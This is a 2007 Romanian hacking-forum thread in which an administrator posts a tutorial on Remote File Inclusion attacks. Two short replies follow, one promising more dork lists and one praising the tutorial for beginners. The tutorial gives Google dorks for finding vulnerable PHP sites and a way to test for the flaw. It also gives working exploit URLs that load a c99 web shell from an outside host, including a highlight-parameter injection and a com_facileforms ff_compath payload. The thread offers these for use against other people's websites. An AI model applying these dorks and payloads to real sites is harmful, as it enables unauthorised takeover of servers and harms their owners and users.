| Autor |
Mesaj |
| < Tutoriale ~ RFI |
|
 Trimis:
29/08/2007 17:42
|
|
|
Administrator
Data inscrierii: 29/Aug/2007
Mesaje: 42
Localitate: In your PC
|
|
Tutorial RFI ( Remote File Inclusion )
Ca sa gasim un site vulnerabil la RFI intram pe google si scriem
"inurl:index.php?page="
Ca sa aflam daca site respectiv este vulnerabil scriem dupa url
index.php?page=http://google.ro si daca ne apare partial din google
sau toata pagina este f bine , inseamna ca siteul este vulnerabil ;)
Acum in loc de http://google.ro scriem adresa catre un site unde
avem uploadat un shell .txt
exemplu : http://www.site.com/index.php?page=http://www.cyberboy.evolink.ro/tool/c99a.php?
................................................................................
Alta metoda este sa testam siteu sa vedem daca e vulnerabil
Introducem dupa adresa : &highlight=%2527.include($_GET[c99].$_GET[sec]).%2527&c99=[evil script]&sec=?
si o sa iti apara scrisu mai ciudat si un buton cu UPLOAD
...................................................................................
SAU :
pe google alegem pagini din romania si cautam : inurl:com_facileforms
dupa carere introducem dupa url /components/com_facileforms/facileforms.frame.php?ff_compath=http://www.cyberboy.evolink.ro/tool/c99a.php
Credite pentru ByJunior |
|
|
|
|
 |
|
| Trimis:
29/08/2007 17:44
|
|
|
Super Moderator
Data inscrierii: 29/Aug/2007
Mesaje: 34
|
|
sunt numeroase dork-uri 
am sa pun eu cateva liste... |
_________________
Ras - RO Team |
|
|
|
|
|
| Trimis:
22/09/2007 15:48
|
|
|
Junior
Data inscrierii: 22/Sep/2007
Mesaje: 16
Localitate: Ineu
|
|
| interesant tutorialu ,pentru newbie este f bun |
_________________
|
|
|
|
|
|
